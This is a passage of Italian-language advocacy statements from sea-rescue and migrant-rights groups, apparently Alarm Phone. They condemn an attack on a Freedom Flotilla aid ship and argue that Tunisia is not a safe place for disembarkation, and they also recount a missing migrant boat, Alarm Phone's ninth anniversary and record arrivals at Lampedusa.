Alcune ore prima dell’attacco, un C-130 Hercules dell’aviazione israeliana si è diretto verso Malta e il tracciato dell’aereo mostra che stava sorvolando a bassa quota la zona ad est di Malta. Sebbene l’esercito israeliano si sia rifiutato di commentare, la Freedom Flotilla sospetta fortemente che siano stati proprio droni israeliani a sparare colpi contro la nave disarmata, provocando un incendio e rischiando di uccidere l’equipaggio e i volontari a bordo (le prove sono raccolte qui). In seguito alla richiesta di Mayday lanciata dall’equipaggio, una nave cargo cipriota è arrivata sul posto e ha proceduto allo spegnimento dell’incendio. L’equipaggio si è rifiutato di abbandonare la nave, poiché ciò avrebbe significato lasciarla incustodita rischiando la perdita degli aiuti umanitari che trasporta.
La Palestina è occupata da Israele dal 1948, quando 700.000 palestinesi furono espulsi dalle loro case e dalle loro terre. Da allora, abbiamo assistito alla proliferazione di insediamenti israeliani dichiarati illegali secondo i principi del diritto internazionale mentre Israele ha imposto un regime di apartheid al popolo palestinese. Sebbene la violenza sia sempre stata strutturale a questo regime, dopo l’attacco condotto da Hamas oltre la recinzione di Gaza il 7 ottobre 2023, in cui sono stati uccisi più di 800 civili, abbiamo assistito a un’escalation senza precedenti, in cui lo Stato di Israele ha condotto operazioni sistematiche di genocidio volte a eliminare la popolazione palestinese residente nella Striscia di Gaza.
Da allora, sono state uccise più di 52.000 persone, tra cui più di 17.400 bambini, ma il bilancio reale delle vittime potrebbe essere ancora più alto visto il grande numero di dispersi.
Giornalisti, operatori umanitari e medici, così come ambulanze e ospedali, sono stati sistematicamente presi di mira dagli attacchi israeliani, in flagrante violazione del diritto umanitario internazionale.
Strumento centrale del piano genocida, l’assedio imposto da Israele sulla Striscia di Gaza ha impedito la consegna di beni di prima necessità – tra cui cibo, medicinali e attrezzature mediche – e ha distrutto le infrastrutture sanitarie del Paese.
Di fronte alla carestia imposta alla popolazione di Gaza e all’estrema carenza di medicinali, la Freedom Flotilla ha deciso di rompere l’assedio su Gaza portando nel Paese beni di prima necessità.
Rompere l’assedio avrebbe dovuto essere compito degli Stati europei, occidentali e arabi che continuano a definirsi democratici pur sostenendo Israele. Eppure, ancora una volta, è stato necessario che i membri della società civile agissero, mettendo a rischio le proprie vite.
Ricordiamo che il 31 maggio 2010 le Forze di difesa israeliane attaccarono la Freedom Flotilla mentre era in viaggio per consegnare aiuti umanitari, causando la morte di 10 persone. Purtroppo, come ha sottolineato un attivista del progetto, “viviamo in tempi in cui le navi che trasportano gli armamenti più avanzati del mondo transitato liberamente, e le navi che trasportano aiuti umanitari urgenti a una popolazione affamata bruciano”.
In un momento in cui il Primo Ministro Netanyahu sta pianificando l’attuazione di una “soluzione finale” che confinerà l’intera popolazione di Gaza in 45 chilometri quadrati e permetterà a Israele di occupare il restante 90% della Striscia di Gaza, condanniamo il rifiuto del Parlamento Europeo di discutere l’inaccettabile e potenzialmente letale attacco alla Freedom Flotilla e di condannare la pulizia etnica e il genocidio del popolo palestinese.
Condanniamo con forza l’attacco deliberato contro una nave civile carica di beni di prima necessità e aiuti medici.
Denunciamo il silenzio e l’inazione degli Stati occidentali e arabi di fronte all’ennesimo crimine dello Stato di Israele, che continua ad agire nella più completa impunità.
Esprimiamo la nostra piena solidarietà a coloro che a Gaza ancora resistono agli incessanti tentativi di sterminio delle forze israeliane, e a chi, come l’equipaggio della Freedom Flotilla, li sostiene, denunciando questi atti e agendo per fermare il genocidio.
Primi firmatari
Al Bawsala / Tunisia
Alternative Intervention of Lawyers, Athens
Aktionstage Enough
Aswat Nissa
ASGI – Association for Juridical Studies on Immigration
Association Beity – Tunisia
Anti-Apartheid movement (AAM)
Avocats Sans Frontières (ASF)
Bewegung für den Sozialismus
Border Forensics
booq Palermo – Bibliofficina di quartiere
Cantine Tambouille
Center for Research and Elaboration for Democracy
Centhra Malaysia
Chile Lawyers for Palestine
Collectif National pour la Reconnaissance des Crimes Coloniaux
Comité pour le respect des libertés et des droits de l’Homme en Tunisie – CRLDHT
Convenzione dei diritti nel Mediterraneo
Damj, the Tunisian Association for Justice and Equality
de:criminalize
Fédération des tunisiens citoyens des deux Rives – FTCR (France)
Feministisches Streikkollektiv Zürich
Figli delle chiancarelle
Fundación Solidaire
Gruppo Melitea
Italiani Senza Cittadinanza
iuventa-crew
Jüdische Stimme für Demokratie und Gerechtigkeit in Israel/Palästina (JVJP), Switzerland
Il Centro di ricerca ed elaborazione per la democrazia ( CRED)
KEERFA MOVEMENT UNITED AGAINST RACISM AND FASCIST THREAT
LasciateCIEntrare/MaipiuCie
Legal Clinic on Migration and Asylum University of Roma Tre
LEGAL TEAM ITALIA
LIMINAL
MALDUSA Project
Mediterranea Saving Humans
Mesdhe (Albania)
migration-control.info project
Missing Voices (REER)
Movement for Debt and Reparations
Mv LOUISE MICHEL
Nachaz Dissonances Tunisia
NOMAD08 TUNISIA
PAL Commission on War Crimes, Justice, Reparations, and Return, Co-Counsel to Freedom Flotilla Coalition
Palestina e lirë (Albania)
Palestine Solidarity Alliance
r42-SailAndRescue
Rizomi.Lab
Reclaim The Sea CIC
Refugees platform In Egypt (RPE)
Salvamento Maritimo Humanitario- SMH
SAR Malta
SARAH-Seenotrettung
Sea Punks e.V.
Seasters Coop
THFwelcome e.V.
Tunisian Association for the Defense of Individual Freedoms
Tunisian Forum for Social and Economic Rights FTDES
USA Peace Council
WeAreOkay
Watch the Med AlarmPhone
Worldwide Lawyers Association (WOLAS) as co-counsel to Freedom Flotilla Coalition
Ya Basta Bologna
–
Lamis J. Deek, Director of Legal and Diplomatic Affairs- PAL Commission on War Crimes, Justice, Reparations, and Return. Co-counsel To Freedom Flotilla
Amadou Mbow, Président de l’Association Mauritanienne pour la citoyenneté et développement.
Ridha Tlili, Film maker
Pablo Andrés Araya Zacarías, Abogados Chilenos por Palestina, PAL Commission
Dimitra Linardaki Lawyer, Athens
Εvgenia Kouniaki, Lawyer, Alternative Intervention of Lawyers, Athens
Ridwana Ibrahim
Ioanna stentoumi
Thanasis Kampagiannis, Lawyer, ex councillor in the Board of Directors in the Athens Bar Association
Pablo Azarcaya, Attorney, Chile, PAL Law Commission, Chile for Palestine
Evgenia Kouniaki, Attorney, Greece, PAL Law Commission, Alternative Intervention
Daniel Kovalik, Attorney, USA, PAL Law Commission, Peace Council USA
Alla luce delle dilaganti violazioni dei diritti umani contro i migranti, i richiedenti asilo e i rifugiati in Tunisia, in particolare quelli neri; della mancanza di un sistema di asilo; della repressione della società civile, dell’indipendenza della magistratura e dei media da parte del governo tunisino; e dell’impossibilità di determinare in modo corretto e individualmente la nazionalità o di valutare le esigenze di protezione dei migranti e dei richiedenti asilo in mare, è chiaro che la Tunisia non è un luogo sicuro per lo sbarco delle persone intercettate o soccorse in mare. La cooperazione in corso tra l’Unione Europea (UE), gli Stati membri dell’UE e la Tunisia sul controllo della migrazione, che si basa sullo sbarco in Tunisia delle persone soccorse o intercettate in mare – come la precedente cooperazione con la Libia – contribuisce alle violazioni dei diritti umani.
Le politiche europee di esternalizzazione nella gestione delle frontiere verso la Tunisia sostengono le autorità di sicurezzache commettono gravi violazioni. Stanno inoltre ostacolando il diritto delle persone a lasciare qualsiasi Paese e a chiedere asilo, contenendo i rifugiati e i migranti in Paesi in cui i loro diritti umani sono a rischio. Inoltre, lo sbarco in Tunisia può mettere in pericolo le persone ed esporle a gravi danni, oltre a esporre i rifugiati e i migranti a un rischio elevato di espulsione collettiva verso la Libia e l’Algeria, una possibile violazione del principio di non-refoulement. L’istituzione, il 19 giugno 2024, della Regione tunisina di ricerca e soccorso (SRR),richiesta e sostenuta dalla Commissione europea, rischia di diventare un altro strumento di violazione dei diritti delle persone piuttosto che un legittimo adempimento della responsabilità di garantire la sicurezza in mare. Analogamente alla cooperazione con la Libia, l’impegno dell’UE e dei suoi Stati membri con la Tunisia può avere l’effetto di normalizzare le gravi violazioni contro le persone in cerca di protezione e di minare l’integrità del sistema internazionale di ricerca e soccorso, trasformandolo in uno strumento di controllo della migrazione.
Come organizzazioni umanitarie e per i diritti umani, chiediamo all’UE e ai suoi Stati membri di interrompere la cooperazione sul controllo della migrazione con le autorità tunisine, responsabili di gravi violazioni dei diritti umani in mare e in Tunisia. Le ONG di ricerca e soccorso e le navi commerciali non dovrebbero ricevere istruzioni per sbarcare nessuno in Tunisia.
Violazioni diffuse e ripetute dei diritti umani
Negli ultimi due anni, dati osservati da organizzazioni tunisine e internazionali, nonché da organismi delle Nazioni Unite, indicano che la Tunisia non può essere considerata un “luogo sicuro”, come definito dalla Convenzione SAR del 1979, dal Comitato per la sicurezza marittima (MSC) e dagli organismi delle Nazioni Unite, per le persone intercettate o soccorse in mare, in particolare nere.
Nonostante abbia aderito alla Convenzione delle Nazioni Unite sui rifugiati del 1951, la Tunisia non ha una legge o un sistema di asilo nazionale. Le persone che entrano, soggiornano o escono dal Paese in modo irregolare sono criminalizzate dalla legge. In seguito adintercettazioni in mare o adarresti arbitrari in territorio tunisino, le autorità tunisine hanno ripetutamente abbandonato rifugiati, richiedenti asilo e migranti nel deserto tunisino o nelle remote regioni al confine con la Libia e l’Algeria. Queste pratiche
possono equivalere a espulsioni collettive illegali, dimostrando un totale disprezzo per il diritto alla vita di rifugiati e migranti e possono violare il principio di non-refoulement. Le persone espulse rischiano di subire gravi violazioni dei diritti umani in Libia edi essere espulse dall’Algeria al Niger. Secondo alcuni rapporti che citanoinformazioni delle Nazioni Unite, le forze di sicurezza tunisine hanno in particolare radunato presunte persone migranti irregolari sulla terraferma e le hanno trasferite direttamente alle autorità libiche, che le hanno poi sottoposte a detenzioni arbitrarie, lavori forzati, estorsioni, torture e altri maltrattamenti e uccisioni illegali.
Secondo le testimonianze di rifugiati, migranti e richiedenti asilo documentate da Amnesty International, Human Rights Watch,l’Organizzazione mondiale contro la tortura eAlarm Phone, le autorità tunisine in mare hanno commesso abusi e messo a rischio vite umane durante le intercettazioni delle imbarcazioni – tra cui manovre ad alta velocità che minacciavano di farle capovolgere, violenze fisiche, lancio di gas lacrimogeni a distanza ravvicinata e collisioni con le imbarcazioni – oltre all’incapacità di garantire sistematicamente valutazioni personalizzate dei bisogni di protezione al momento dello sbarco. Le autorità tunisine hanno anche sottoposto rifugiati, richiedenti asilo e migranti a torture e altri maltrattamenti nel contesto di sbarchi, detenzioni o espulsioni collettive.
Allo stesso tempo, diverse organizzazioni internazionali e locali, difensori dei diritti umani e avvocati hanno denunciato un allarmante deterioramento delle libertà civili e dei diritti fondamentali in Tunisia, con ripercussioni sia sulla popolazione migrante che sui cittadini tunisini. Dal 2021, il Paese ha assistito a un significativoarretramento dei diritti umani, caratterizzato dallo smantellamento delle garanzie istituzionali per la loro protezione, dall’erosione dell’indipendenza giudiziaria e da ungiro di vite sulla libertà di espressione, associazione e riunione pacifica. Lo sbarco in Tunisia di cittadini tunisini intercettati o soccorsi in mare, che potrebbero includere persone in fuga da persecuzioni, torture o altri danni gravi e intenzionate a chiedere asilo all’estero, potrebbe di fatto negare il diritto di chiedere asilo a chi ha bisogno di protezione internazionale.
La complicità dell’Unione Europea nelle violazioni dei diritti umani
Nonostante le documentate violazioni dei diritti umani da parte delle autorità tunisine, l’UE e i suoi Stati membri hanno intensificato il loro sostegno all’amministrazione di Kais Saïed. Con il Memorandum d’intesa firmato nel luglio 2023, l’UE ha promesso alla Tunisia 1 miliardo di euro, tra cui 105 milioni di euro dedicati alla gestione delle frontiere e della migrazione, in cambio della prevenzione delle partenze via mare verso l’Europa, che includono persone bisognose di protezione. Con l’istituzione di una Regione tunisina di ricerca e soccorso (SRR), il governo tunisino ha soddisfatto una priorità da tempo fissata dall’UE. Se da un lato questo rappresenta un passo formale verso l’adempimento della responsabilità della Tunisia di proteggere la vita in mare, dall’altro la realtà è che ora i Centri di coordinamento del soccorso (RCC) europei indirizzeranno le imbarcazioni in difficoltà all’interno della SRR tunisina al RCC tunisino, rafforzando un graduale disimpegno degli attori dell’UE a favore di attori con una scarsa reputazione in materia di diritti umani.
Sostenendo un rafforzamento del ruolo della Guardia costiera tunisina (Guardia nazionale) – senza che siano stati adottati parametri di riferimento per i diritti umani o sistemi di monitoraggio, né disposizioni per garantire che le persone soccorse siano sbarcate in un luogo sicuro, che non può essere la Tunisia – l’UE sta contribuendo al rischio di ulteriori gravi violazioni dei diritti umani in mare e in Tunisia contro i rifugiati e i migranti e le persone a rischio di persecuzione nel Paese.
Lo spazio umanitario per le ONG che si occupano di ricerca e soccorso (SAR) sarà ulteriormente ridotto se i Centri di coordinamento del soccorso europei daranno istruzioni alle ONG SAR di mettersi in contatto con il nuovo MRCC tunisino per lo sbarco, che potrebbe rifiutarsi di rispettare il principio di non-refoulement. L’agenzia ONU per i rifugiati, l’UNHCR, haosservato che le navi in mare non sono il luogo appropriato per determinare le esigenze di protezione. Secondo il diritto marittimo internazionale, gli Stati hanno la responsabilità primaria di coordinare i soccorsi all’interno delle loro SRR e di organizzare lo sbarco in un luogo sicuro, che può essere un altro Stato.
Il sostegno europeo alle violazioni dei diritti umani deve finire
Questi sviluppi seguono lo schema visto in Libia dal 2016. Oltre al sostegno materiale, tecnico e politico, l’UE e l’Italia hanno sostenuto l’istituzione di una SRR e di un MRCC libici, portando così al trasferimento della responsabilità SAR alla Guardia costiera libica e a un aumento dei pull backs e degli sbarchi in Libia, pur essendo consapevoli che ciò avrebbe esposto rifugiati e migranti a un grave rischio di violazioni orribili e mortali in Libia. Sia il governo italiano che le istituzioni dell’UE non solo hanno continuato questa cooperazione, ma hanno cercato di estenderla ad altri Paesi, compresa la Tunisia.
Esortiamo pertanto l’UE e i suoi Stati membri a:
Chiedere alle autorità tunisine di porre fine alle violazioni dei diritti umani contro i rifugiati, i richiedenti asilo e i migranti, anche per quanto riguarda le espulsioni collettive illegali che mettono a repentaglio la vita delle persone.
Chiedere alle autorità tunisine di porre fine alla repressione della società civile.
Assicurarsi che le ONG SAR e le navi commerciali non ricevano istruzioni di sbarcare le persone soccorse in mare in Tunisia, dato il rischio di violazioni dei diritti umani in quel Paese e dato che non è possibile effettuare valutazioni individuali corrette su tali rischi in mare. La Tunisia non può essere considerata un luogo sicuro per le persone soccorse in mare secondo il diritto internazionale applicabile.
Porre fine al sostegno finanziario e tecnico alle autorità tunisine responsabili di gravi violazioni dei diritti umani in relazione al controllo delle frontiere e della migrazione.
Firmatari
Afrique-Europe Interact
Alarme Phone Sahara (APS)
All Included Amsterdam
Amnesty International
Associazione per gli Studi Giuridici sull’Immigrazione (ASGI)
Association CALAM
Association for Justice, Equality and Peace
Association Lina Ben Mhenni
Association Marocaine d’aide des Migrants en Situation Vulnérable (AMSV)
Association pour la promotion du droit à la différence (ADD)
Association Sentiers-Massarib
Association tunisienne de défense des libertés individuelles
Aswat Nissa
Avocats Sans Frontières (ASF)
BAOBAB EXPERIENCE
Campagna LasciateCIEntrare – MaipiuCIE
Carovane Migranti
CCFD-Terre Solidaire
Chkoun? Collective
Comité de Sauvegarde de la LADDH
Comité pour le respect des libertés et des droits de l’Homme en Tunisie (CRLDHT)
CompassCollective
Damj – l’Association Tunisienne pour la justice et l’égalité
Dance Beyond Borders
EMERGENCY
Fédération des Tunisiens pour une Citoyenneté des deux Rives (FTCR)
Fédération Internationale pour les Droits Humains (FIDH)
Forum Tunsien pour les Droits Economiques et Sociaux (FTDES)
FUNDACION SOLIDAIRE
Human Rights Watch
Intersection pour les droits et les libertés
iuventa-crew
L’association Tunisienne pour les Droits et les Libertés (ADL)
La Cimade
LDH (Ligue des droits de l’Homme)
Maldusa
Médecins Sans Frontières
MEDITERRANEA Saving Humans
Melting Pot Europa
migration-control.info project
Migreurop
Missing Voices (REER)
Mission Lifeline International e.V.
PRO ASYL Bundesweite Arbeitsgemeinschaft für Flüchtlinge e.V.
r42-SailAndRescue
Reclaim the Sea
Refugees in Libya – APS
Refugees Platform In Egypt (RPE) منصة اللاجئين في مصر
Resqship
SALVAMENTO MARITIMO HUMANITARIO -SMH
SARAH Seenotrettung gUG
Sea-Eye e.V.
Sea-Watch e.V.
Search and Rescue Malta Network
Seebrücke
SOS Humanity e.V.
SOS MEDITERRANEE
Statewatch
Union des diplômés-chômeurs (UDC)
United4Rescue – Gemeinsam retten e.V.
Univ. of Southern California Gould School of Law Immigration Clinic
Watch the med Alarm Phone
Barche di migranti sulla spiaggia di Beliana. Foto: anonimo
In occasione della Giornata mondiale del rifugiato, la società civile transnazionale si mobilita per denunciare le politiche assassine e razziste nel Mediterraneo!
Sulla base di testimonianze raccolte da diversi attori della società civile tunisina e transnazionale, questo rapporto documenta le pratiche di intercettazione della Guardia Nazionale tunisina nel Mediterraneo centrale. I dati raccolti, basati su 14 interviste approfondite condotte tra il 2021 e il 2023 con persone esiliate sopravvissute ad attacchi in mare, evidenziano pratiche violente e illegali, che vanno dalla mancata assistenza al rovesciamento intenzionale di imbarcazioni in difficoltà, causando naufragi e costando la vita a molte persone esiliate.
Questa brutalizzazione da parte delle autorità di frontiera tunisine, documentata ormai da diversi anni, avviene in un contesto di crescente esternalizzazione delle frontiere da parte dell’Unione Europea e dei suoi Stati membri. Di fronte all’aumento del traffico sulla rotta marittima tunisina a partire dal 2021, e nella speranza di limitare il numero di attraversamenti, l’UE ha aumentato considerevolmente il suo sostegno alle forze di sicurezza tunisine, istituendo un regime di “respingimento per procura”, sull’esempio della sua cooperazione con le milizie libiche.
Per ragioni di sicurezza, nell’attuale contesto di criminalizzazione e di ripetuti attacchi a persone e organizzazioni che sostengono i migranti in Tunisia, si è ritenuto preferibile non menzionare i nomi di questi ultimi.
Di fronte alla repressione, la pubblicazione di questo rapporto suona quindi come una promessa: la promessa che, a prescindere dai tentativi di intimidazione, la solidarietà continuerà a essere espressa senza sosta.
Insieme, continueremo a documentare le pratiche violente della guardia costiera tunisina e di tutte le altre autorità coinvolte nelle intercettazioni e nei respingimenti nel Mediterraneo e nelle violazioni dei diritti in mare.
Insieme, denunciamo questo regime repressivo di controllo della mobilità e le politiche di esternalizzazione che lo consentono e lo incoraggiano.
Insieme, difendiamo un Mediterraneo aperto, solidale e rispettoso della libertà di movimento di tutti!
Ultima posizione nota delle persone a bordo. Photo: Alarm Phone
Come Alarm Phone, veniamo regolarmente contattate da famiglie che cercano i loro cari dispersi, di cui hanno perso le tracce dopo che si sono imbarcati per attraversare il mare. Famiglie che hanno atteso invano un segno di vita e di arrivo: non arriva nessuna telefonata o messaggio che le informi che il viaggio è andato bene e che la persona a loro cara è arrivata sana e salva.
Non esiste un elenco dei passeggeri che possa essere di aiuto per conoscere la loro sorte. Le persone sono costrette a viaggiare di nascosto, poiché l’attraversamento del Mediterraneo per raggiungere l’Europa è altamente criminalizzato e illegalizzato.
Gli attori statali monitorano attentamente il Mediterraneo centrale. Diversi mezzi aerei volano al largo delle coste libiche, tunisine e di altre aree per individuare i movimenti migratori cosiddetti “illegali”.Svolgono vaste operazioni per ostacolare i movimenti migratori, ma quando si tratta di soccorrere vite umane, le operazioni di ricerca e soccorso arrivano spesso troppo tardi. Sebbene diverse autorità possano avere delle risposte sulle sorti delle imbarcazioni scomparse, restano generalmente in silenzio. Non ci sono attori ufficiali nazionali o transnazionali che si preoccupino delle famiglie e di informarle sul destino delle persone a loro care, scomparse.
Come Alarm Phone, cerchiamo di supportare le famiglie nei loro sforzi di rintracciare i loro familiari, amici, amiche. Lo facciamo attraverso ricerche informali, consultando i media disponibili, o rivolgendoci alle nostre reti di amici e amiche nei paesi di partenza, di transito e di arrivo. Le famiglie spesso non si rivolgono solo ad Alarm Phone, ma tentano più strade per trovare delle risposte.
Molto spesso, le risposte non si trovano,perché le tracce dei loro cari si sono perdute da qualche parte in mezzo al mare. Ciò significa che le famiglie sono bloccate in uno stato di incertezza poichè non sanno se i loro cari sono morti o meno. In questa situazione risulta molto difficile elaborare il lutto.
Condanniamo le politiche di abbandono e di morte, quotidianamente implementate dalle autorità nel Mediterraneo centrale, che generano enormi sofferenze, in mare e non solo. Condanniamo l’orribile silenzio delle autorità che rifiutano deliberatamente di rispondere alle nostre domande sull’esito dei casi di emergenza in mare, e che rifiutano anche di fornire risposte alle famiglie nella loro ricerca della verità.
Riconosciamo l’infinito dolore che devono affrontare i parenti, gli amici e amiche e i membri della comunità di una persona che scompare senza lasciare traccia.
Purtroppo, il più delle volte, possiamo solo continuare a cercare informazioni ufficiali e a protestare insieme contro le sparizioni forzate.
Lasciati senza risposte
L’11 gennaio 2024, Alarm Phone è stata informata di un altro caso in cui delle persone che avevano provato ad attraversare il mare sono scomparse, e in cui, ancora una volta, le famiglie sono rimaste senza risposte.
Quel giorno, alle 19:45 CET, Alarm Phone ha ricevuto una chiamata da un parente che ci informava di una barca in pericolo. L’imbarcazione si trovava nella posizione N34°36 E12°20, in piena zona di ricerca e soccorso maltese (SAR). Alle 20:20 abbiamo inviato un primo SOS via e-mail all’MRCC italiano e all’RCC maltese, informandoli dell’imbarcazione con 39 persone a bordo, partita dalla Libia l’11 gennaio.
Alle 20:50 abbiamo ricevuto un’altra posizione, da un secondo parente di una persona a bordo. Ancora una volta, alle 21:13 abbiamo condiviso l’ultima posizione nota con le autorità italiane e maltesi via e-mail. Alle 21:25 Alarm Phone ha potuto stabilire un primo contatto diretto con le persone a bordo dell’imbarcazione ma, a causa della pessima connessione telefonica,la comunicazione si è interrotta prima di poter raccogliere tutte le informazioni di cui avevamo bisogno.
Alarm Phone è ha mantenuto i contatti con i parenti mentre cercava di riconnettersi con le persone sull’imbarcazione, senza successo, fino al 12 gennaio alle 00:08, quando siamo riuscite a metterci nuovamente in contatto con le persone a bordo. Ci hanno fornito la seguente posizione GPS: N34 52 5465, E012 22 1202. Abbiamo trasmesso questa posizione alle autorità italiane e maltesi via e-mail, esortandole a lanciare un’operazione di soccorso. Alle 00:44 abbiamo inviato un’e-mail anche alle navi mercantili Oslocarrier3 e Gaz Concord, poiché entrambe in prossimità dell’ultima posizione nota dell’imbarcazione.
Alle 01:35, Alarm Phone ha stabilito un contatto diretto con le persone a bordo per la terza volta. Ci hanno fornito la loro posizione GPS aggiornata: N34 57 153, E012 21 500. Ancora una volta,abbiamo inviato questa posizione via e-mail alle autorità italiane e maltesi.
Alle 04:00 un parente ci ha chiamato per riferirci che le persone a bordo erano in preda al panico e alla paura, temendo le onde alte e il vento forte. Alle 04:20 abbiamo inviato la sesta e-mail alle autorità italiane e maltesi per avvertirle del peggioramento della situazione e per chiedere loro di avviare urgentemente un’operazione di salvataggio.
Alle 04:45 l’aereo EAGLE1 di FRONTEX è arrivato sul posto e ha monitorato la situazione fino alle 07:00.
Alle 05:30, uno dei parenti ci ha chiamato di nuovo, riferendo che le persone a bordo potevano vedere una luce intensa sopra di loro, identificata come proveniente da un elicottero. Il parente ha informato Alarm Phone della nuova posizione dell’imbarcazione: N35 07, E12 20.
Alle 05:38, Alarm Phone ha inviato la settima e-mail alle autorità italiane e maltesi, condividendo la posizione aggiornata. Nelle ore successive non è stato possibile ristabilire il contatto con le persone a bordo dell’imbarcazione.
Il 13 gennaio, diversi mezzi aerei hanno effettuato voli di ricerca vicino e intorno a Lampedusa (RIMB, RIMC, I2321).
Dal 12 gennaio alle 05:30, anche i parenti hanno perso ogni contatto con i loro cari. Abbiamo cercato di contattare regolarmente le persone sulla barca fino al 16 gennaio, senza successo.
Le persone sono scomparse. Questa e le altre innumerevoli sparizioni forzate sono la conseguenza di un sistema razzista basato sullo sfruttamento e sull’esclusione delle persone razzializzate.
Ad oggi, le 39 persone non hanno contattato i loro parenti, e di loro non c’è alcuna traccia. Ancora oggi, le famiglie attendono disperatamente una comunicazione ufficiale, una risposta, da parte delle autorità sulla sorte dei loro cari. Ad oggi, e da più di 30 anni, con l’introduzione globale di un regime razzista di visti, di rafforzamento dei controlli alle frontiere e di crescente violenza da parte dell’UE nei confronti delle persone in movimento, nessuna autorità statale è mai stata chiamato a rispondere dei crimini che commette quotidianamente.
Chiediamo: a fronte dell’incremento delle operazioni di sorveglianza aerea nel Mediterraneo centrale, con mezzi che percorrono quotidianamente aree di mare sempre più ampi, e del monitoraggio satellitare non-stop del mare, come possono le persone semplicemente scomparire?
Chiediamo: perché non sono state lanciate operazioni di ricerca e soccorso immediate quando l’imbarcazione in pericolo si trovava a sole 15 miglia nautiche da Lampedusa e mentre diverse motovedette della Guardia Costiera, della Guardia di Finanza e di Frontex erano presenti sull’isola?
Abbiamo bisogno di risposte da parte delle istituzioni competenti.
Vogliamo che questi attori rispondano delle loro azioni.
Condanniamo le continue sparizioni forzate di persone che cercano coraggiosamente di attraversare il Mediterraneo, in fuga dalla violenza e alla ricerca di condizioni di vita più dignitose.
Come sempre, siamo solidali con le famiglie, gli amici e le amiche, le comunità delle persone scomparse, che continueranno incessantemente a chiedere risposte alle autorità – temiamo, invano.
Oggi, l’Alarm Phone compie nove anni. 300 attivistx, su entrambe le sponde del mare Mediterraneo, hanno gestito e mantenuto attiva questa linea telefonica di emergenza per le persone in movimento. Senza sosta, giorno e notte, 24 ore su 24, 7 giorni su 7.
In questi nove anni, abbiamo assistito 7.192 imbarcazioni in pericolo lungo le diverse via di fuga marittime: il Mar Egeo, il Mar Mediterraneo Centrale, il Mar Mediterraneo Occidentale, l’Atlantico e, dal 2021, anche il Canale della Manica. Non abbiamo mai assistito così tante imbarcazioni in un anno come nel 2023, eppure mancano ancora tre mesi: 1.671 casi di pericolo.
Come attivistx, abbiamo lanciato la nostra hotline l’11 ottobre 2014. Abbiamo scelto questa data perché era il primo anniversario di un terribile naufragio avvenuto nella zona di ricerca e soccorso maltese, in cui persero la vita oltre 250 persone. Sia le autorità italiane che quelle maltesi erano a conoscenza di questa imbarcazione in pericolo, eppure hanno scelto di ignorarla fino a quando non si è capovolta.
Alarm Phone ha voluto fornire alle persone in movimento una linea telefonica di emergenza alternativa che non le ignorasse. Che le ascoltasse e amplificasse le loro voci. Che facesse sì che il loro disagio fosse ascoltato e potesse far pressione sulle autorità affinché non ignorassero, non respingessero, non lasciassero morire le persone.
In troppi casi non abbiamo potuto evitare che le persone morissero o scomparissero in mare. Abbiamo cercato di stare al loro fianco il più a lungo possibile, ma a un certo punto il collegamento telefonico si interrompeva e in seguito venivamo a sapere che non erano sopravvissute. Centinaia di parenti ci hanno contattato nella disperata ricerca dei loro cari. La violenza ai confini dell’UE riecheggia in tutto il mondo e infligge sofferenza a moltissime persone.
Il mare è sia un cimitero liquido che un luogo di lotta.
Quest’anno abbiamo assistito 144 imbarcazioni nella Manica, 154 nel Mediterraneo Occidentale e nell’Atlantico e 378 nell’Egeo. Il maggior numero di imbarcazioni ci ha chiamato dal Mediterraneo centrale: 995 imbarcazioni partite dalla Tunisia o dalla Libia. Abbiamo ricevuto richieste di soccorso anche da diverse frontiere terrestri, tra cui la regione di Evros, i Balcani e le zone di confine tra vari Paesi dell’Africa settentrionale.
I continui arrivi via mare dimostrano che il regime di frontiera dell’UE non è un deterrente. Dopo decenni di militarizzazione dei confini dell’UE, di esternalizzazione delle frontiere a regimi dittatoriali, di implementazione di un regime di non-assistenza e di respingimento, queste cifre dimostrano che i movimenti ostinati attraverso il mare continuano.
Anche la solidarietà in mare non si arresta. Nonostante gli innumerevoli tentativi di criminalizzare le attiviste e gli attivisti della flotta civile, i mezzi di soccorso tornano sempre nel Mediterraneo centrale, impegnandosi instancabilmente in attività di ricerca e soccorso.
Tutte le rotte marittime rimangono spazi di contestazione in cui le persone esercitano la loro libertà di movimento. Contro ogni probabilità e ogni ostacolo, nonostante la violenza e la militarizzazione dei confini, a prescindere dalla mancanza di soccorso o dalla criminalizzazione della migrazione, le persone non hanno smesso di attraversare il Mediterraneo, sfidando i confini e raggiungendo autonomamente l’Europa!
In un periodo in cui il discorso razzista sulle migrazioni si diffonde in Europa e non solo, dobbiamo pluralizzare le forme di solidarietà con le persone in movimento e combattere collettivamente le atrocità alle frontiere.
Continueremo a rispondere al telefono quando squillerà. Di giorno e di notte. Prenderemo il telefono e diremo: “Ciao amico mio, questo è l’Alarm Phone”.
ABBIAMO COMBATTUTO PER NOVE ANNI.
NON ABBIAMO ANCORA FINITO.
CONTINUEREMO.
NON CI ARRENDEREMO FINCHÉ NON CI SARÀ LIBERTÀ DI MOVIMENTO PER TUTTX.
In seguito all’arrivo di un numero record di persone in movimento a Lampedusa, la società civile esprime la sua profonda preoccupazione per la risposta degli Stati europei in materia di sicurezza, per la crisi dell’accoglienza e ribadisce la sua solidarietà alle persone in movimento che arrivano in Europa.
Oltre 5.000 persone e 112 imbarcazioni: è questo il numero di arrivi registrati sull’isola italiana di Lampedusa martedì 12 settembre. Le imbarcazioni, la maggior parte delle quali arrivate autonomamente, provenivano dalla Tunisia o dalla Libia. In totale, dall’inizio dell’anno sono giunte sulle coste italiane oltre 118.500 persone, quasi il doppio rispetto alle 64.529 registrate nello stesso periodo del 2022[1]. L’accumulo di numeri non ci deve far dimenticare che, dietro ogni numero, c’è un essere umano, una storia individuale e che le persone continuano a perdere la vita nel tentativo di raggiungere l’Europa.
Sebbene Lampedusa sia da lungo tempo una destinazione per le imbarcazioni di centinaia di persone che cercano rifugio in Europa, le strutture di accoglienza dell’isola sono carenti. Martedì, il salvataggio caotico di un’imbarcazione ha causato la morte di un bambino di 5 mesi, caduto in acqua e immediatamente annegato, mentre decine di imbarcazioni continuavano ad attraccare nel porto commerciale. Per diverse ore, centinaia di persone sono rimaste bloccate sul molo, senza acqua né cibo, prima di essere trasferite nell’hotspot di Lampedusa.
L’hotspot, un centro di primo filtro dove le persone appena arrivate vengono tenute lontane e separate dalla popolazione locale e pre-identificate prima di essere trasferite sulla terraferma, con i suoi 389 posti, non ha alcuna capacità di accogliere dignitosamente le persone che arrivano quotidianamente sull’isola. Da martedì, il personale del centro è stato completamente sopraffatto dalla presenza di 6.000 persone. Alla Croce Rossa e al personale di altre organizzazioni è stato impedito di entrare nella struttura per “motivi di sicurezza”.
